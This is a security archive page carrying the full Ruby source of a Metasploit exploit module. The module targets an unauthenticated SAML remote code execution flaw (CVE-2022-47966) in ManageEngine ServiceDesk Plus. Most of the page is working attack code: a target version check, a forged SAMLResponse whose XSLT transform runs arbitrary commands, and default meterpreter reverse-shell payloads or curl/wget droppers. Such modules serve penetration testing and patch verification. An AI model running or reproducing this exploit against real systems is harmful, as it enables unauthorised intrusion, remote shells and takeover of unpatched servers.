what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution
Posted Feb 7, 2023
Authored by Christophe de la Fuente, Khoa Dinh, horizon3ai | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2022-47966
SHA-256 | 4fbf903ff9fa864b803fbd7d746a0b2a59de1e2222a5e9821f7d2bf7760f7166

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution

Change Mirror Download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
SAML endpoint. Note that the target is only vulnerable if it has been
configured with SAML-based SSO at least once in the past, regardless of
the current SAML-based SSO status.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win', 'unix', 'linux'],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget echo lwprequest]
}
]
],
'DefaultOptions' => {
'RPORT' => 8080
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
return CheckCode::Unknown unless res

# vulnerable servers respond with 400 and a HTML body
return CheckCode::Safe unless res.code == 400

script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
return CheckCode::Unknown unless info
unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
end

# SAML 2.0 support has been added in build 10511
# see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
build = Rex::Version.new(info[:build])
unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
return CheckCode::Safe("Target build is #{info[:build]}")
end

CheckCode::Appears
end

def encode_begin(real_payload, reqs)
super

reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end

def exploit
case target['Type']
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager(delay: datastore['DELAY'])
end
end

def execute_command(cmd, _opts = {})
case target['Type']
when :windows_dropper
cmd = "cmd /c #{cmd}"
when :unix_cmd, :linux_dropper
cmd = cmd.gsub(' ') { '${IFS}' }
cmd = "bash -c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')

assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="#{assertion_id}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
EOS

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})

unless res&.code == 500
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
end
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
end

res
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close